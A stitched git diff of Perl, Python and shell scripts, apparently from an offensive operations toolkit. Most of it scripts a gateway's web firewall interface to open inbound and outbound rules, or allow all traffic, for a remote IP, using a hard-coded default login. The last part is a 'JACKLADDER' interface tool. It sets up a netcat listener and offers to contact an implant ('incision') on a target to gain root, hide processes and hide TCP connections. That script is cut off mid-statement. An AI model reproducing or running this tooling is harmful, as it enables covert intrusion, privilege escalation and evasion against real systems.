+if($showrules) { + listRules(); + exit 1; +} + +if($allowall) { + allowAll(); + exit 1; +} + + +# If -t option was specified at command line (without -ip) +# **NOTE: This simply updates duration time (does not create or remove rules) +if($TIMEOUT and !@ADDIPS and !$initialsetup) +{ + setTimeout($TIMEOUT); + listRules(); + exit 1; +} + + +# Otherwise, print usage and exit +printUsage(2); + + +############### FUNCTIONS ############### + +#################################################################### +# Displays usage and exits + +sub printUsage() +{ +myprint("GOT COMMENT: @_") if @_; + print < <--- Specify username + -p <--- Specify password + -a <--- Allow All--Creates open inbound and outbound rules + -c <--- Clears then creates initial rules: + Us to anywhere + valid responses back to us + -i <--- Specify remote IP (i.e. pitch) to allow inbound. + Use additional -R IP arguments to have several. + -t <--- Specify timeout (in hours) [def: $TIMEOUT] + -s <--- Lists configured FW rules as well as duration + -r <--- Remove all rules + + -v <--- Show version + -h <--- Show usage + + Usage: + Create Default Rules (-i,-t optional): + $prog -u -p -c [-i ] [-t ] + Create Allow All Rules (allows all both inbound and outbound to all): + $prog -u -p -allowall [-t ] + Allow Additional external IP (bi-directional): + $prog -u -p -i + Update Timeout Only (does not modify rules): + $prog -u -p -t + Show Configured Rules and Duration: + $prog -u -p -s + Remove All Rules: + $prog -u -p -r + + + **NOTE: Be sure your default gateway is set before running this script. + +EOF + exit -1; +} + +#################################################################### +# Performs initial connection to FW (connects, authenticates, and +# gets auth cookie) + +sub fwConnect() +{ + + # Construct objects + $useragent = LWP::UserAgent->new; + $cookie_jar = HTTP::Cookies->new; + + # Give up on requests that don't answer within 15 seconds + $useragent->timeout(15); + + # Send request for main FW page + $request = new HTTP::Request('GET',"http://$GATEWAY"); + $response = $useragent->simple_request($request); + if(not($response->is_success)) + { + myprint("\n\n!! Could not get main FW page !!\n\n". + "Error reported:\n\t". + $response->status_line."\n\n"); + exit -1; + } + + # Extract cookie from response header + $cookie_jar->extract_cookies($response); + + # Login and get auth cookie + $request = new HTTP::Request('GET',"http://$GATEWAY/session_login.cgi?page=%2F&user=$USERNAME&pass=$PASSWORD"); + $cookie_jar->add_cookie_header($request); + $response = $useragent->simple_request($request); + + # Save that authenticated cookie + $cookie_jar->extract_cookies($response); +} + + + + +#################################################################### +# Lists configured rules + +sub listRules() +{ + # **NOTE: Assumes fwConnect() has already been run!! + # + # Get FW config HTML and parse out configured rules + $request = new HTTP::Request('GET',"http://$GATEWAY/firewall/"); + $cookie_jar->add_cookie_header($request); + $response = $useragent->simple_request($request); + + $firewall_html = $response->as_string; + + $firewall_html =~ s/()|(<\/b>)//gi; + + @FW_RULES = ($firewall_html =~ m/(If (?:source|destination).*)<\/td>/g); + + @DURATION = ($firewall_html =~ m/(?:Duration of rules.*Max.*duration value=(.*))/g); + + + + myprint("\n\nThe following ALLOW rules are defined:"); + + myprint("\n\t!! NO RULES DEFINED !!") unless @FW_RULES; + + while(@FW_RULES) + { + myprint("\t** $FW_RULES[0]"); + shift(@FW_RULES); + } + + myprint("\n\t!! UNABLE TO DETERMINE DURATION !!\n\n") unless @DURATION; + + while(@DURATION) + { + myprint("\nDuration (min): $DURATION[0]\n\n"); + shift(@DURATION); + } + +} + + + + + +#################################################################### +# Creates default FW rules which perform the following: +# - Allow us to any +# - Allow specified IP (i.e. pitch) to us + +sub InitialSetup() +{ + myprint("\nCreating Initial FW rules...\n"); + + # Remove any existing rules + removeRules(); + + # Default number of hours to apply our firewall rules + $TIMEOUT = 6 unless $TIMEOUT; + + # CREATE FW RULES AND CONFIGURE TIMEOUT + + # RULE #1: Allow us to any + $request = new HTTP::Request('POST',"http://$GATEWAY/firewall/save_rule.cgi"); + $cookie_jar->add_cookie_header($request); + $request->referer("http://$GATEWAY/firewall/edit_rule.cgi?table=0&chain=FORWARD&modip=$OUR_IP&new=1"); + $request->content_type('application/x-ww-form-urlencoded'); + + $request->content("table=0&idx=&new=1&chain=FORWARD&before=&after=&modip=$OUR_IP&cmt=&jump=ACCEPT&rwithdef=1&rwithtype=icmp-net-unreachable&source_radio=on&source_other=&source_mode=1&source=$OUR_IP&dest_radio=0&dest_other=&dest_mode=0&dest=$OURIP&frag=0&proto_mode=0&proto=tcp&proto_other=&sport_mode=0&sport_type=0&sport=&sport_from=&sport_to=&dport_mode=0&dport_type=0&dport=&dport_from=&dport_to=&show_adv=1&tcpflags_mode=0&tcpoption_mode=0&tcpoption=&icmptype_mode=0&icmptype=any&macsource_mode=0&macsource=&limit_mode=0&limit0=&limit1=second&limitburst_mode=0&limitburst=&state_mode=0&tos_mode=0&tos=Minimize-Delay"); + + $response = $useragent->simple_request($request); + + + + # RULE #2: Allow existing connections to return data to us (used in conjunction with us to any rule) + $request = new HTTP::Request('POST',"http://$GATEWAY/firewall/save_rule.cgi"); + $cookie_jar->add_cookie_header($request); + $request->referer("http://$GATEWAY/firewall/edit_rule.cgi?table=0&chain=FORWARD&modip=$OUR_IP&new=1"); + $request->content_type('application/x-ww-form-urlencoded'); + + $request->content("table=0&idx=&new=1&chain=FORWARD&before=&after=&modip=$OUR_IP&cmt=&jump=ACCEPT&rwithdef=1&rwithtype=icmp-net-unreachable&source_radio=0&source_other=&source_mode=0&source=$OUR_IP&dest_radio=on&dest_other=&dest_mode=1&dest=$OUR_IP&frag=0&proto_mode=0&proto=tcp&proto_other=&sport_mode=0&sport_type=0&sport=&sport_from=&sport_to=&dport_mode=0&dport_type=0&dport=&dport_from=&dport_to=&show_adv=1&tcpflags_mode=0&tcpoption_mode=0&tcpoption=&icmptype_mode=0&icmptype=any&macsource_mode=0&macsource=&limit_mode=0&limit0=&limit1=second&limitburst_mode=0&limitburst=&state_mode=1&state=ESTABLISHED&tos_mode=0&tos=Minimize-Delay"); + + $response = $useragent->simple_request($request); + + # Set the timeout + setTimeout($TIMEOUT); + +} + + +#################################################################### +# Configure new rule to allow inbound connections from specified IP + +sub addIp() +{ + local(@ips) = @_; + + foreach my $ip (@ips) { + # Allow IP to us + $request = new HTTP::Request('POST',"http://$GATEWAY/firewall/save_rule.cgi"); + $cookie_jar->add_cookie_header($request); + $request->referer("http://$GATEWAY/firewall/edit_rule.cgi?table=0&chain=FORWARD&modip=$OUR_IP&new=1"); + $request->content_type('application/x-ww-form-urlencoded'); + + $request->content("table=0&idx=&new=1&chain=FORWARD&before=&after=&modip=$OUR_IP&cmt=&jump=ACCEPT&rwithdef=1&rwithtype=icmp-net-unreachable&source_radio=on&source_other=$ip&source_mode=1&source=$ip&dest_radio=on&dest_other=&dest_mode=1&dest=$OUR_IP&frag=0&proto_mode=0&proto=tcp&proto_other=&sport_mode=0&sport_type=0&sport=&sport_from=&sport_to=&dport_mode=0&dport_type=0&dport=&dport_from=&dport_to=&show_adv=0&tcpflags_mode=0&tcpoption_mode=0&tcpoption=&icmptype_mode=0&icmptype=any&macsource_mode=0&macsource=&limit_mode=0&limit0=&limit1=second&limitburst_mode=0&limitburst=&state_mode=0&tos_mode=0&tos=Minimize-Delay"); + + $response = $useragent->simple_request($request); + } + setTimeout($TIMEOUT) unless $initialsetup or !$TIMEOUT; + logaction("firewall opened allowed=@ips"); +} + + + +#################################################################### +# Create default rules to allow all both inbound and outbound + +sub allowAll() +{ + removeRules(); + + myprint("\nCreating allow all rules..\n\n"); + + # Allow us to any + $request = new HTTP::Request('POST',"http://$GATEWAY/firewall/save_rule.cgi"); + $cookie_jar->add_cookie_header($request); + $request->referer("http://$GATEWAY/firewall/edit_rule.cgi?table=0&chain=FORWARD&modip=$OUR_IP&new=1"); + $request->content_type('application/x-ww-form-urlencoded'); + + $request->content("table=0&idx=&new=1&chain=FORWARD&before=&after=&modip=$OUR_IP&cmt=&jump=ACCEPT&rwithdef=1&rwithtype=icmp-net-unreachable&source_radio=on&source_other=&source_mode=1&source=$OUR_IP&dest_radio=0&dest_other=&dest_mode=0&dest=$OURIP&frag=0&proto_mode=0&proto=tcp&proto_other=&sport_mode=0&sport_type=0&sport=&sport_from=&sport_to=&dport_mode=0&dport_type=0&dport=&dport_from=&dport_to=&show_adv=1&tcpflags_mode=0&tcpoption_mode=0&tcpoption=&icmptype_mode=0&icmptype=any&macsource_mode=0&macsource=&limit_mode=0&limit0=&limit1=second&limitburst_mode=0&limitburst=&state_mode=0&tos_mode=0&tos=Minimize-Delay"); + + $response = $useragent->simple_request($request); + + + # Allow any to us + $request = new HTTP::Request('POST',"http://$GATEWAY/firewall/save_rule.cgi"); + $cookie_jar->add_cookie_header($request); + $request->referer("http://$GATEWAY/firewall/edit_rule.cgi?table=0&chain=FORWARD&modip=$OUR_IP&new=1"); + $request->content_type('application/x-ww-form-urlencoded'); + + $request->content("table=0&idx=&new=1&chain=FORWARD&before=&after=&modip=$OUR_IP&cmt=&jump=ACCEPT&rwithdef=1&rwithtype=icmp-net-unreachable&source_radio=0&source_other=&source_mode=0&source=$OUR_IP&dest_radio=on&dest_other=&dest_mode=1&dest=$OUR_IP&frag=0&proto_mode=0&proto=tcp&proto_other=&sport_mode=0&sport_type=0&sport=&sport_from=&sport_to=&dport_mode=0&dport_type=0&dport=&dport_from=&dport_to=&show_adv=0&tcpflags_mode=0&tcpoption_mode=0&tcpoption=&icmptype_mode=0&icmptype=any&macsource_mode=0&macsource=&limit_mode=0&limit0=&limit1=second&limitburst_mode=0&limitburst=&state_mode=0&tos_mode=0&tos=Minimize-Delay"); + + $response = $useragent->simple_request($request); + + $TIMEOUT = 6 unless $TIMEOUT; + + logaction("firewall opened allow all"); + setTimeout($TIMEOUT); + + listRules(); +} + + + + +#################################################################### +# Removes all FW rules + +sub removeRules() +{ + + dbg("Sending:('GET',\"http://$GATEWAY/firewall/save_policy.cgi?table=0&modip=$OUR_IP&chain=FORWARD&clear=Clear+All+Rules\");"); + # Clear the rules + $request = new HTTP::Request('GET',"http://$GATEWAY/firewall/save_policy.cgi?table=0&modip=$OUR_IP&chain=FORWARD&clear=Clear+All+Rules"); + $cookie_jar->add_cookie_header($request); + $response = $useragent->simple_request($request); + + # Confirm we want to clear the rules + $request = new HTTP::Request('GET',"http://$GATEWAY/firewall/save_policy.cgi?table=0&modip=$OUR_IP&chain=FORWARD&clear=1&confirm=Delete+Now"); + + $cookie_jar->add_cookie_header($request); + $response = $useragent->simple_request($request); + + logaction("firewall closed"); + + # Set timeout + setTimeout(1); +} + + +#################################################################### +# Configures duration of FW rules + +sub setTimeout() +{ + local($newtimeout) = @_; + + # Set the timeout + $request = new HTTP::Request('GET',"http://$GATEWAY/firewall/apply.cgi?table=0&modip=$OUR_IP&duration=$newtimeout&duration_units=60"); + + $cookie_jar->add_cookie_header($request); + $response = $useragent->simple_request($request); +} + +sub dbg { + open(FWLOG,">>/current/tmp/fwlog.txt") or return; + print FWLOG gmtime()." @_\n"; + close(FWLOG); +} + +sub mydie { + die "@_\n"; +} + +sub myprint { + dbg(@_); + print "@_\n"; +} + +sub logaction { + preservefile("$opdown/fw_setup.log"); + open(LOG,">$opdown/fw_setup.log") or return; + print LOG gmtime()." @_\n"; + close(LOG); +} diff --git a/Linux/bin/fw_setup.pl b/Linux/bin/fw_setup.pl new file mode 100755 index 0000000..92ada35 --- /dev/null +++ b/Linux/bin/fw_setup.pl @@ -0,0 +1,385 @@ +#!/usr/bin/env perl +$version = "1.1.0.2"; +use LWP; +use HTTP::Cookies; +use File::Basename qw(basename dirname); +my $autoutils = "../etc/autoutils" ; +unless (-e $autoutils) { + $autoutils = "/current/etc/autoutils" ; +} +if (-e $autoutils) { + require $autoutils; +} + +######################################################### +# +# 19 Feb 2008 +# +# A commandline script to configure the +# FK fireawll. Can be used to setup +# two default rules, and tear them down. +# +######################################################### + +############### Configuration ############### + +# Number of hours to apply our firewall rules +$TIMEOUT = 6; + +############### MAIN ############### + +my $ostype = lc $^O; +if ($ostype ne "linux") { + die "This script is only meant to be run in Linux. Sorry!\n"; +} + +my $dowhat = ""; + +while (@ARGV) { + if($ARGV[0] =~ /-v/i) { + print "$prog version $version\n"; + exit 1; + } elsif(lc $ARGV[0] eq "up" or lc $ARGV[0] eq "down") { + $dowhat = lc shift(@ARGV); + } + if ($ARGV[0] =~ /([oi])=(\d+)/i) { + $dowhat = "up"; + ($whichdirection,$port) = ($1,$2); + } + shift(@ARGV); +} + +printUsage() unless $dowhat; + +# get our default router, where the webpage lives +$route = `route -n`; +($dummy,$GATEWAY) = $route =~ /(0.0.0.0|default)\s+(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\s+0.0.0.0/; +die "Cannot find default gateway via \"route -n\" command. Output was=$route=\n" + unless $GATEWAY; + +# get our ip +$ifconfig = `ifconfig eth0`; +$ifconfig =~ /inet addr:(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\s+Bcast/; +$OUR_IP = $1; +die "Unable to determine our eth0 IP\n" + unless $OUR_IP; + + +# FW username and password +if (0) { + $USERNAME = getinput("\n\n$prog v.$version : Bringing firewall $dowhat at ". + gmtime()."\n(or enter \"abort\")\n\nLocal Firewall Username: ","user"); + die "User aborted\n" if ($USERNAME =~ /^abort/i); + $PASSWORD = getinput("Local Firewall Password: "); +} else { + $USERNAME = "user"; + $PASSWORD = ""; +} + +if ($dowhat eq "up") { + # Want to start with clean slate if given a port to fix + print "Re-setting firewall rules....\n"; + removeRules(); + sleep 1; + createRules(lc $whichdirection,$port); + my $expiretime = `date -d +6hours`; + my $alarmtime = `date -d +330minutes`; +dbg("Calling setAlarm"); + setAlarm(int(($TIMEOUT-0.50) * 60 * 60),30, + "FIREWALL", + "Your firewall rules will expire in 30 minutes.\n\n". + "If necessary, use \"fw_setup.pl up\" to re-set it to $TIMEOUT hours,\n". + "or use the browser GUI to add more time.\n\n". + "Note that using \"fw_setup.pl up\" will cause a brief loss of comms that recovers nicely.", + "`date -d +6hours`" + ); + print "\n\nFirewall alarm is set, will go off at $alarmtime". + "to remind you that firewall expires at $expiretime\n\n"; +} else { + killothers("firewall going down"); + removeRules(); +} + +#################################################################### +sub printUsage() + { + print <new; + $cookie_jar = HTTP::Cookies->new; + + # send request for main FW page + $request = new HTTP::Request('GET',"http://$GATEWAY"); + $response = $useragent->simple_request($request); + + # extract cookie from response header + $cookie_jar->extract_cookies($response); + + # login and get auth cookie + $request = new HTTP::Request('GET',"http://$GATEWAY/session_login.cgi?page=%2F&user=$USERNAME&pass=$PASSWORD"); + $cookie_jar->add_cookie_header($request); + $response = $useragent->simple_request($request); + + # save that authenticated cookie + $cookie_jar->extract_cookies($response); + + # get fw config webpage + $request = new HTTP::Request('GET',"http://$GATEWAY/firewall/"); + $cookie_jar->add_cookie_header($request); + $response = $useragent->simple_request($request); + + # Get magic number from this page, used for saving the rules + $response->as_string =~ /input type=hidden name=oldatjob value=(\d*)>/; + $magic_num = $1; + + # Bring up the Edit Rule webpage + $request = new HTTP::Request('GET',"http://$GATEWAY/firewall/edit_rule.cgi?table=0&chain=FORWARD&modip=$OUR_IP&new=1"); + $cookie_jar->add_cookie_header($request); + $response = $useragent->simple_request($request); + + # Open tunnel INBOUND from GATEWAY + $request = new HTTP::Request('POST',"http://$GATEWAY/firewall/save_rule.cgi"); + $cookie_jar->add_cookie_header($request); + $request->referer("http://$GATEWAY/firewall/edit_rule.cgi?table=0&chain=FORWARD&modip=$OUR_IP&new=1"); + $request->content_type('application/x-ww-form-urlencoded'); + if ($direction eq "o") { + $request->content("table=0&idx=&new=1&chain=FORWARD&before=&after=&modip=$OUR_IP&cmt=&jump=ACCEPT&other=&rwithdef=1&rwithtype=icmp-net-unreachable&source=0&source_mode=0&dest=$OUR_IP&dest_mode=1&frag=0&proto_mode=1&proto=tcp&proto_other=&sport_mode=1&sport_type=0&sport=$port&sport_from=&sport_to=&dport_mode=0&dport_type=0&dport=&dport_from=&dport_to=&ports_mode=0&ports=&tcpflags_mode=0&tcpoption_mode=0&tcpoption=&icmptype_mode=0&icmptype=any&macsource_mode=0&macsource=&limit_mode=0&limit0=&limit1=second&limitburst_mode=0&limitburst=&state_mode=0&tos_mode=0&tos=Minimize-Delay&mods=&args="); + } elsif ($direction eq "i") { + $request->content("table=0&idx=&new=1&chain=FORWARD&before=&after=&modip=$OUR_IP&cmt=&jump=ACCEPT&other=&rwithdef=1&rwithtype=icmp-net-unreachable&source=0&source_mode=0&dest=$OUR_IP&dest_mode=1&frag=0&proto_mode=1&proto=tcp&proto_other=&sport_mode=0&sport_type=0&sport=&sport_from=&sport_to=&dport_mode=1&dport_type=0&dport=$port&dport_from=&dport_to=&ports_mode=0&ports=&tcpflags_mode=0&tcpoption_mode=0&tcpoption=&icmptype_mode=0&icmptype=any&macsource_mode=0&macsource=&limit_mode=0&limit0=&limit1=second&limitburst_mode=0&limitburst=&state_mode=0&tos_mode=0&tos=Minimize-Delay&mods=&args="); + } else { + $request->content("table=0&idx=&new=1&chain=FORWARD&before=&after=&modip=$OUR_IP&cmt=&jump=ACCEPT&other=&rwithdef=1&rwithtype=icmp-net-unreachable&source=0&source_mode=0&dest=$OUR_IP&dest_mode=1&frag=0&proto_mode=0&proto=tcp&proto_other=&sport_mode=0&sport_type=0&sport=&sport_from=&sport_to=&dport_mode=0&dport_type=0&dport=&dport_from=&dport_to=&ports_mode=0&ports=&tcpflags_mode=0&tcpoption_mode=0&tcpoption=&icmptype_mode=0&icmptype=any&macsource_mode=0&macsource=&limit_mode=0&limit0=&limit1=second&limitburst_mode=0&limitburst=&state_mode=0&tos_mode=0&tos=Minimize-Delay&mods=&args="); + } + + $response = $useragent->simple_request($request); + + # Bring up the Edit Rules page + $request = new HTTP::Request('GET',"http://$GATEWAY/firewall/edit_rule.cgi?table=0&chain=FORWARD&modip=$OUR_IP&new=1"); + $cookie_jar->add_cookie_header($request); + $response = $useragent->simple_request($request); + + # Open tunnel OUTBOUND from GATEWAY + $request = new HTTP::Request('POST',"http://$GATEWAY/firewall/save_rule.cgi"); + $cookie_jar->add_cookie_header($request); + $request->referer("http://$GATEWAY/firewall/edit_rule.cgi?table=0&chain=FORWARD&modip=$OUR_IP&new=1"); + $request->content_type('application/x-ww-form-urlencoded'); + if ($direction eq "o") { + $request->content("table=0&idx=&new=1&chain=FORWARD&before=&after=&modip=$OUR_IP&cmt=&jump=ACCEPT&other=&rwithdef=1&rwithtype=icmp-net-unreachable&source=$OUR_IP&source_mode=1&dest=0&dest_mode=0&frag=0&proto_mode=1&proto=tcp&proto_other=&sport_mode=0&sport_type=0&sport=&sport_from=&sport_to=&dport_mode=1&dport_type=0&dport=$port&dport_from=&dport_to=&ports_mode=0&ports=&tcpflags_mode=0&tcpoption_mode=0&tcpoption=&icmptype_mode=0&icmptype=any&macsource_mode=0&macsource=&limit_mode=0&limit0=&limit1=second&limitburst_mode=0&limitburst=&state_mode=0&tos_mode=0&tos=Minimize-Delay&mods=&args="); + } elsif ($direction eq "i") { + $request->content("table=0&idx=&new=1&chain=FORWARD&before=&after=&modip=$OUR_IP&cmt=&jump=ACCEPT&other=&rwithdef=1&rwithtype=icmp-net-unreachable&source=$OUR_IP&source_mode=1&dest=0&dest_mode=0&frag=0&proto_mode=1&proto=tcp&proto_other=&sport_mode=1&sport_type=0&sport=$port&sport_from=&sport_to=&dport_mode=0&dport_type=0&dport=&dport_from=&dport_to=&ports_mode=0&ports=&tcpflags_mode=0&tcpoption_mode=0&tcpoption=&icmptype_mode=0&icmptype=any&macsource_mode=0&macsource=&limit_mode=0&limit0=&limit1=second&limitburst_mode=0&limitburst=&state_mode=0&tos_mode=0&tos=Minimize-Delay&mods=&args="); + } else { + $request->content("table=0&idx=&new=1&chain=FORWARD&before=&after=&modip=$OUR_IP&cmt=&jump=ACCEPT&other=&rwithdef=1&rwithtype=icmp-net-unreachable&source=$OUR_IP&source_mode=1&dest=0&dest_mode=0&frag=0&proto_mode=0&proto=tcp&proto_other=&sport_mode=0&sport_type=0&sport=&sport_from=&sport_to=&dport_mode=0&dport_type=0&dport=&dport_from=&dport_to=&ports_mode=0&ports=&tcpflags_mode=0&tcpoption_mode=0&tcpoption=&icmptype_mode=0&icmptype=any&macsource_mode=0&macsource=&limit_mode=0&limit0=&limit1=second&limitburst_mode=0&limitburst=&state_mode=0&tos_mode=0&tos=Minimize-Delay&mods=&args="); + } + $response = $useragent->simple_request($request); + + # Set the timeout and apply config + $request = new HTTP::Request('GET',"http://$GATEWAY/firewall/apply.cgi?table=0&modip=$OUR_IP&oldatjob=$magic_num&duration=$TIMEOUT&duration_units=60"); + $cookie_jar->add_cookie_header($request); + $response = $useragent->simple_request($request); + + print gmtime()." done, timeout set to $TIMEOUT hours\n"; + logaction("firewall opened $direction=$port"); +} + +#################################################################### +sub killothers { + local ($morecomment) = (@_); + my $comment = "Killing previous instance of fw_setup.pl alarm"; + $comment .= ", $morecomment" if $morecomment; + $comment .= ":"; + dbg("ps -ef | egrep -v \" $$ |grep\" | grep perl.*fw_setup.pl"); + chomp(my $othertest = `ps -ef | egrep -v " $$ |grep" | grep perl.*fw_setup.pl`); + foreach (split(/\n/,$othertest)) { + # alarms only started by fw_setup.pl up (not down). + next if /fw_setup.pl down/; + my ($pid) = /root\s*(\d+)\s/; + print "\n\n$comment\n". + $_; + kill(15,$pid); + } + print "\n\n"; +} + +#################################################################### +sub removeRules() { + print "Removing your gateway ($GATEWAY) firewall rules..."; + + + # construct objects + $useragent = LWP::UserAgent->new; + $cookie_jar = HTTP::Cookies->new; + + # send request for main FW page + $request = new HTTP::Request('GET',"http://$GATEWAY"); + $response = $useragent->simple_request($request); + + # extract cookie from response header + $cookie_jar->extract_cookies($response); + + # login and get auth cookie + $request = new HTTP::Request('GET',"http://$GATEWAY/session_login.cgi?page=%2F&user=user&pass="); + $cookie_jar->add_cookie_header($request); + $response = $useragent->simple_request($request); + + # save that authenticated cookie + $cookie_jar->extract_cookies($response); + + # get fw config webpage + $request = new HTTP::Request('GET',"http://$GATEWAY/firewall/"); + $cookie_jar->add_cookie_header($request); + $response = $useragent->simple_request($request); + + # Clear the rules + $request = new HTTP::Request('GET',"http://$GATEWAY/firewall/save_policy.cgi?table=0&modip=$OUR_IP&chain=FORWARD&clear=Clear+All+Rules"); + $cookie_jar->add_cookie_header($request); + $response = $useragent->simple_request($request); + + # Confirm we want to clear the rules + $request = new HTTP::Request('GET',"http://$GATEWAY/firewall/save_policy.cgi?table=0&modip=$OUR_IP&chain=FORWARD&clear=1&confirm=Delete+Now"); + $cookie_jar->add_cookie_header($request); + $response = $useragent->simple_request($request); + + # Set the timeout and apply config + $request = new HTTP::Request('GET',"http://$GATEWAY/firewall/apply.cgi?table=0&modip=$OUR_IP&oldatjob=$magic_num&duration=$TIMEOUT&duration_units=60"); + $cookie_jar->add_cookie_header($request); + $response = $useragent->simple_request($request); + + print gmtime()." done\n"; + logaction("firewall closed"); +} +sub getinput { + local($prompt,$default,@allowed) = @_; + local($ans,$tmp,%other) = (); + $other{"Y"} = "N" ; $other{"N"} = "Y" ; + if ($other{$default} and ! (@allowed)) { + push(@allowed,$other{$default}) ; + } + $tmp = $default; + if (chop($tmp) eq "^M") { + #damn ^M's in script files + $default = $tmp; + } + SUB: while (1) { + print STDERR $prompt; + if ($default) { + print STDERR " [$default] "; + } else { + print STDERR " "; + } + if ($prompt =~ /password/i) { + print "(echo off)"; + `stty -echo`; + } + chomp($ans = ); + if ($prompt =~ /password/i) { + `stty echo`; + print "(echo on)\n"; + } + $ans = $default if ( $ans eq "" ); + last SUB if ($#allowed < 0) ; + foreach ($default,@allowed) { + last SUB if $ans =~ /^$_/i ; + } + } + return $ans; +} # getinput + +sub logaction { + preservefile("$opdown/fw_setup.log"); + open(LOG,">/current/down/fw_setup.log") or return; + print LOG gmtime()." @_\n"; + close(LOG); +} + +sub setAlarm { + local($sleepsecs,$expiremin,$type,$comment,$expires) = (@_); + $comment =~ s,\",\\\",g; + $comment =~ s,\n,\\n,g; + $expires = "EXPIRES=\"$expires\"" + if $expires; + my $alarmfile = "/tmp/Alarm.sh"; + my $title = "ALARM"; + $type =~ s/\s/_/g ; + $title .= "_$type" if $type; + killothers("previous alarm not needed"); + if (open(ALARMOUT,">$alarmfile")) { + print ALARMOUT <$alarmfile")) { + print ALARMOUT < 1: + ports = parse_ports(a[1]) + ports = [':'.join(x) if x.__class__() == () else x for x in ports] + else: + ports = None + + if dir == DIR_BI or dir == DIR_IN: + str1 = ipt + '-t filter -A INPUT -i eth0 ' + str2 = ' -s ' + ip + ' -d ' + my_ip + ' -j ACCEPT' + + if ports != None: + if ports[0] != '0': + ports_str = '--sport %s' % ports[0] + else: + ports_str = '' + + if len(ports) == 2 and ports[1] != '0': + ports_str += ' --dport %s' % ports[1] + + lo_execute(str1 + '-p tcp ' + ports_str + str2) + lo_execute(str1 + '-p udp ' + ports_str + str2) + else: + lo_execute(str1 + '-p all' + str2) + + if dir == DIR_BI or dir == DIR_OUT: + str1 = ipt + '-t filter -A OUTPUT -o eth0 ' + str2 = ' -s ' + my_ip + ' -d ' + ip + ' -j ACCEPT' + + if ports != None: + if ports[0] != '0': + ports_str = '--dport %s' % ports[0] + else: + ports_str = '' + + if len(ports) == 2 and ports[1] != '0': + ports_str += ' --sport %s' % ports[1] + + lo_execute(str1 + '-p tcp ' + ports_str + str2) + lo_execute(str1 + '-p udp ' + ports_str + str2) + else: + lo_execute(str1 + '-p all' + str2) + + +def lo_block_ip(ip, dir): + + if dir == DIR_BI or dir == DIR_IN: + lo_execute(ipt + '-t filter -I INPUT -i eth0 -p all -s ' + ip + ' -d ' + my_ip + ' -j DROP') + if dir == DIR_BI or dir == DIR_OUT: + lo_execute(ipt + '-t filter -I OUTPUT -o eth0 -p all -s ' + my_ip + ' -d ' + ip + ' -j REJECT') + + +def lo_remove_ip(ip): + + while True: + todel = lo_execute(ipt + '-t filter -L INPUT -n -v --line-numbers | egrep ' + ip + ' | head -1') + if len(todel) == 0: + break + n = todel.split(None, 1)[0] + lo_execute(ipt + '-t filter -D INPUT ' + n) + + while True: + todel = lo_execute(ipt + '-t filter -L OUTPUT -n -v --line-numbers | egrep ' + ip + ' | head -1') + if len(todel) == 0: + break + n = todel.split(None, 1)[0] + lo_execute(ipt + '-t filter -D OUTPUT ' + n) + + +# check if the local rules are set for http to communicate with the gateway +def lo_rules_set(): + + rules = lo_get_rules() + + if (re.search('0.0.0.0/0 +' + my_ip + ' +state ESTABLISHED', rules) != None or \ + re.search('INPUT \(policy ACCEPT', rules) != None) and \ + (re.search(my_ip + ' +0.0.0.0/0 +tcp dpt:80', rules) != None or \ + re.search('OUTPUT \(policy ACCEPT', rules) != None): + return True + else: + return False + + + +######################################################### +# Functions for GATEWAY +######################################################### + + +def gw_get_ip(): + + ip = lo_execute('route -n | egrep "^default|^0\.0\.0\.0" | awk \'{print $2}\'').strip() + if(check_ipv4_fmt(ip)): + return ip + else: + return None + + +def gw_execute_get(url): + + geturl = BASEURL + gw_ip + url + + if dbg: + printmsg('# GET ' + geturl, COLOR_NOTE) + + try: + res = httpobj.open(geturl) + except urllib2.HTTPError, err: + printmsg(str(err), COLOR_FAILURE) + return None + + return res.read() + + +def gw_execute_post(url, data): + + posturl = BASEURL + gw_ip + url + + if dbg: + printmsg('# POST ' + posturl, COLOR_NOTE) + printmsg('# ' + data, COLOR_NOTE) + + try: + res = httpobj.open(posturl, data) + except urllib2.HTTPError, err: + printmsg(str(err), COLOR_FAILURE) + return None + + return res.read() + + +def gw_login(): + + global pw_retry + global httpobj + global logged_in + global ask_username + + if not lo_rules_set(): + printmsg('ERROR: Can\'t connect to gateway - local rules not set', COLOR_FAILURE) + return False + + while(pw_retry < PW_MAX_RETRY): + (user, password) = get_login() + + # get login page for cookies + try: + req = urllib2.Request(BASEURL + gw_ip) + res = urllib2.urlopen(req) + cookies = cookielib.CookieJar() + cookies.extract_cookies(res, req) + cookie_handler = urllib2.HTTPCookieProcessor(cookies) + httpobj = urllib2.build_opener(cookie_handler) + except urllib2.URLError: + printmsg('ERROR: could not connect to %s%s' % (BASEURL, gw_ip), COLOR_FAILURE) + return False + + login_str = urllib.urlencode({ 'user' : user, 'pass' : password }) + + # login + data = gw_execute_get('/session_login.cgi?page=%%2F&' + login_str) + if data == None: + return False + + # check if worked, clear creds if didn't and retry + if re.search('login failed', data, re.IGNORECASE): + printmsg('ERROR: login to %s failed' % (gw_ip), COLOR_FAILURE) + clear_login() + pw_retry += 1 + continue + + logged_in = True + save_login(user, password) + + return True + + return False + + +def gw_logout(): + + global logged_in + + if logged_in: + gw_execute_get('/session_login.cgi?logout=1') + logged_in = False + + +def gw_get_rules(): + + global duration + + if not logged_in and not gw_login(): + return None + + data = gw_execute_get('/firewall/index.cgi') + if data == None: + return None + + data = data.split('\n') + + rules = {} + def_pol = '' + processing = False + tm_re = re.compile('input type=hidden name=duration value=(\d*)>') + pol_re = re.compile('default action is (\w+)', re.IGNORECASE) + + for line in data: + if line.startswith(' Listening on \$port <---" + echo + echo \$port > $wd/.PORT + echo \$(tty) > $wd/.TTY + nc -l -p \$port + sleep 2 + done +HERE + + chmod +x $wd/jl.nc +} + +usage() { + echo + echo "This is a JACKLADDER interface tool" + echo + echo "- Usage: jl " + echo " -o Offset the date timestamp by minutes" + echo " -r Contact incision and make process root" + echo " -s Contact incision and hide process" + echo " -t Contact incision and hide tcp connection" + echo + echo "- Run the following in a control window..." + echo " script -a typescript.\$(date +%Y%m%d)" + echo " $wd/jl.nc" + echo + echo "- Then, as an example, in a command window run..." + echo " $0 telnet target" + echo " remote cmd: ps -ef" + echo + echo " Note: $0 issues the \"remote cmd: \" prompt" + + nc_script # generate the netcat script + + if [ $keys ]; then + $keys + echoenv + fi + exit +} + + +## +## Run the functions to setup the environment for JACKLADDER +## + +eval targ=\${$#} # note: doesn't handle port arg at end of command line +setupkeys $targ +dooptions $@ # this function sets up the $cmdln variable +ckupgrade + +# +# If PRIME is set, then use pre v2.0 trigger format. +# +if 